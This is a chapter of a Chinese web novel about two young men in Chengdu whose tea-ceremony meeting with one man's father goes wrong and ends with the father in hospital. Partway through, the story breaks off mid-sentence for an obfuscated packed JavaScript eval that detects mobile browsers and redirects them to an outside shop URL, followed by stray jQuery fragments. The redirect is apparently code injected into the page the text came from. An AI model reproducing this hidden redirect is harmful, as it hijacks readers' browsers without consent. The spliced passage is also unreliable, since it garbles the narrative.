49.但爱你是我先说的

作品:《川潮

    潮汕的朱泥茶具蹲在成都出租屋的玻璃茶几上,像一尊远道而来的神龛,在这片自由的空气里显得格格不入。


    陈声和第N次调整茶壶角度,壶嘴最终偏向东南,不能正对客位,这是潮汕工夫茶的大忌,父亲最在意的规矩。


    上周视频时父亲还提过,茶壶摆错方向,就是没把客人当自家人。


    李霄川靠在厨房门框上看他忙活,手里转着刚拆封的凤凰单丛,塑料包装哗啦作响。


    “至于吗?”他趿拉着拖鞋走近,下巴搁在陈声和肩上,呼吸扫过他耳后,“你爸还能因为壶嘴方向不认你这个儿子?”


    陈声和却没笑。


    他的食指卡在紫砂壶流口,釉面凉得像他此刻的脊背:“会。”


    李霄川的笑容僵在脸上。茶叶被扔在茶几上,他扳过陈声和的肩膀,发现对方睫毛在轻微发抖。


    “声和?”


    “我爸明天中午到。”陈声和突然说,“他看了我朋友圈,说想见见……我常提到的那个戏曲社学长。”


    李霄川眼睛亮起来,手指刚要收紧……


    “我没出柜。”陈声和打断他,声音低的快要听不见了,“只说你是很重要的朋友。”


    沉默漫过客厅,空调滴水声砸在接水盘里。


    李霄川松开手,转身去烧水,不锈钢壶砸在电磁炉上咣当一响。


    “朋友。”他重复这个词,滚水冲进盖碗,烫出一室茶香,“行啊,那就让你爸看看,他儿子在成都交了个多好的朋友。”


    这个四十平的一居室是他们大二下学期租的,押一付三刷了李霄川的卡。


    此刻衣柜里两人的衣服还混在一起,陈声和的亚麻衬衫压着李霄川的戏服水衣。


    ……


    第二天,李霄川穿了件挺板正的休闲白衬衫,袖口卷到小臂,露出陈声和送他的红绳,底下拴着枚小小的潮汕金漆木雕鱼。


    从前他们就是这样,用带着各自地域印记的小物件来表达爱意。你赠我一串川红的南红手链,我回你一枚潮汕的镶金木鱼。


    如今看来,这举动实在稚气,甚至有些俗气。


    可那物件贴在皮肤上的温度,却总在不经意间提醒他,曾有人那样认真地将一颗心,笨拙地捧到他面前,让他此后经年,一想起来就心尖发烫。


    少年时代的爱情呐,不染杂质,纯粹得发亮。


    陈声和接机时盯着那截手腕,喉结动了动,最终也没说什么。父亲的身影刚出现在闸口,他就条件反射退开半步。


    “爸!”他几步过去接过印着航空托运标签的行李箱,主动笑着介绍,“这位是李霄川,我学长,专业课和社团都帮了我很多。”


    陈父五十出头,眉眼和陈声和一样温润,只是目光看起来挺有分量的。他扫了眼李霄川伸过来的手,掌心还有练功留下的茧子,微微点头就算握过。


    “听声和说,你唱戏的?”


    “川剧武生。”李霄川脸不红心不跳,笑得还是那么妥帖,“叔叔累了吧?我在玉林路订了家潮汕菜,咱们先去垫垫肚子?”


    “开在成都的潮汕菜,能叫潮汕菜?”陈伟杰轻轻一笑,转头就看向自己儿子,“住哪儿?”


    陈声和喉咙发干:“就学校旁边那个公寓,一居室的……”


    “你同学也住那儿?”


    李霄川笑呵呵地接话:“我住剧团宿舍,今天是特地过来陪叔叔吃顿饭的。”


    他边说边把手背到身后,偷偷捏了陈声和后腰一把,摸到一手湿冷的汗。


    走在前面的陈父忽然回头,眼神跟刀子似的,正正落在李霄川还没来得及收回去的手指上。


    去餐厅的一路,气氛沉闷得吓人。直到在包间里落座,陈声和都没敢和李霄川对视。


    李霄川特意点的卤鹅拼盘端上来,几乎没人动筷。


    陈伟杰一身西装笔挺坐在主位,那一身打扮,李霄川悄悄估了个价,没六位数下不来。


    这跟他平时接触的那些广东人,感觉完全不一样。


    陈声和从来没细聊过家里的事,就提过一句“家里做茶叶生意的”,轻描淡写,像在说别人家的事。


    但李霄川也不是那种没心眼的人。四川人去广东打工的多了去了,他姑姑姑父年轻时候也待过。


    虽说他没亲眼见过,但耳朵里早就灌满了那边的门道。


    陈伟杰用筷子尖拨了拨盘里的鹅肉,眉头一蹙:“鹅肝呢?”


    “这家……可能切法不太一样?”李霄川额角冒汗,手指抠紧了桌布边。


    “潮汕卤鹅哪有不带肝的?就像川剧离不了变脸。”陈伟杰撂下筷子,金属筷头碰在瓷盘上,发出一声脆响。


    “小李,你学戏几年了?”


    “十二年。”


    陈伟杰往后一靠,双手交叠放在腿上,腕表反射的光晃过李霄川的眼睛:“能养活自己吗?”


    陈声和猛地抬头:“爸!”


    李霄川在桌下按住他膝盖,力道很轻:“省剧团已经给我发offer了,月薪六千,加上商演能过万。”


    陈伟杰“嗯”了声,从包里掏出套茶具:“声和,泡茶。”茶具是家里那套老物件,壶身刻着陈记二字。


    陈声和手指发僵。


    以前在老家,父亲谈生意总爱带着他。这套茶具,是父亲谈大买卖时才请出来的,既是压价的前奏,也像一种无声的审判。


    第一泡茶汤橙红透亮。


    陈伟杰抿了一口,喉结一动,随即放下杯子:“太急,水老了。”


    李霄川忽然伸手:“叔叔,要不让我试试?”


    陈声和猛地看向他。


    李霄川从没碰过潮汕茶具,可那人已经接了过去,烫水高冲,茶叶在白玉令杯里翻飞,像绿蝶振翅。


    “关公巡城。”他手腕一斜,茶汤均匀分入三杯,“韩信点……点兵?”最后一个字变调成疑问,因为陈伟杰的脸色已经铁青。


    李霄川心里一紧,壶嘴正对向了客位。这是潮汕茶桌的大忌。


    陈声和看见父亲的嘴角瞬间压了下去。


    “爸,他不懂这个。”他伸手去接茶壶,手指碰到李霄川的手背,触到一片滚烫。


    陈伟杰抬手一挡,茶船应声翻倒,沸水泼在李霄川手背上,瞬间红了一片,眼看着就肿了起来。


    “潮汕人最重礼数。”他盯着儿子说着潮汕话,声音不疾不徐,“你交朋友,连这个都没教?”


    李霄川却听懂了大概,甩着手,嘴角扯出笑,连忙道歉:“叔叔教训得对,对不起,我这就……”


    “爸,他是我……”


    “学长而已。”李霄川脱口而出打断了陈声和,他的茶杯停在半空,一滴茶汤坠在桌布上,像一颗小小的血珠。


    “不算很重要的人。”他那样补了一句。


    陈伟杰走的时候,那套茶具还摆在茶几上。


    “你妈心脏不好。”他在车前停下,将手机和包递给司机,“下个月家里有喜事,记得回来。”


    粤+FV车牌的S580开走的时候带起一阵风,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005890|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尾气味、晒化的沥青味全部扑了过来。


    陈声和还愣在原地,手里紧紧攥着父亲落下的降压药。


    李霄川从后面环住他,手刚贴上去就愣了,咚咚咚的,震得他手心发麻。


    “刚才差点被你吓死,”李霄川把下巴抵在他肩头,语气里还带着劫后余生的笑意,胳膊却箍得更紧了,“不是说好先瞒着吗?”


    陈声和转身把脸埋进他肩窝,呼吸间全是花椒的辛烈和他身上未散的茶香。


    “壶嘴……”他闷声说,手指揪住李霄川的衬衫下摆,“你是故意的。”


    李霄川没否认,手指轻轻摩挲着他后颈。那儿已经湿漉漉的了,细软的头发黏在皮肤上。


    这层窗户纸,总得有人去捅破。


    可每当陈声和鼓起勇气,眼神里透出那豁出去的决绝时,李霄川就先退却了。他仿佛已经看到陈声和与家人决裂后,痛苦的模样。


    算了。


    他舍不得。


    那是陈声和的父母,是生他养他的根和来处,用所爱之人的家庭幸福换来自己的圆满?


    他自己都是个没人要的孩子,再让恋人和父母反目成仇,这样有撒子意思,太没意思了。


    他宁可自己疼,也见不得陈声和受那种煎熬。


    回去的公交车晃晃悠悠,陈声和一直盯着窗外发呆。李霄川轻轻捏了捏他的手,冰凉冰凉的,像刚从冰箱里拿出来。


    回到公寓门口,李霄川刚把钥匙插进锁孔,陈声和的手机就响了。


    来电显示是陈伟杰的司机。


    “喂?”


    “阿和,杰哥晕过去了!”


    陈声和转身就冲向电梯,李霄川在后面喊“钥匙”,他已经拐进安全通道了。咚咚咚的脚步声在楼梯间回荡,李霄川赶紧追了上去。


    那天真是糟糕透了,医院走廊的灯光刺得人眼睛发痛。


    陈声和缩在塑料椅子上,手术室门口那个红灯迟迟不灭,让他悬着的心始终不敢放下。


    李霄川递给他一杯热水,接过去的时候水晃得厉害,几滴溅在手背上,很快就红了一小片。


    “医生说是应激性心绞痛,不是心梗。”李霄川蹲下来,手搭在他膝盖上,温热的触感透过牛仔裤传过来,“我托朋友问了,他叔叔就在华西,放心,现在支架手术很成熟……”


    “他包里一直备着硝酸甘油。”陈声和突然打断,眼睛盯着自己发抖的手指,“早就出问题了,一直瞒着我。”


    李霄川看着他手机屏幕亮起,“阿妈”两个字跳入眼睑。陈声和直接关了机,指甲用力撬开SIM卡槽,啪的一声,小小的卡片在他手里断成两截。


    “你……”


    “她在潮汕照顾阿嬷,两个人都经不起吓。”陈声和声音轻轻的,“我爸有医保卡,用我的名字挂号就行。”


    李霄川抬手扳过他下巴。陈声和这才发现自己在流泪,泪水砸在李霄川虎口的茧子上。


    “听着。”李霄川拇指蹭过他眼下,抹出一道水痕,“你爸会没事,你妈不会知道,所有责任我担,就说是我气晕他的。”


    陈声和用力摇头,眼泪直直砸在李霄川袖口,在白布料上晕开一个个深色的圆点:“壶嘴对客是我没提醒你……茶是我泡的……出柜的话头也是我起的……”


    “但爱你是我先说的。”李霄川把他紧紧按进怀里,陈声和的鼻梁撞上他锁骨,疼得眼眶发酸。


    “别怕,乖乖。”李霄川的声音贴着他耳廓,“叔叔会没事的。天塌下来有我顶着。”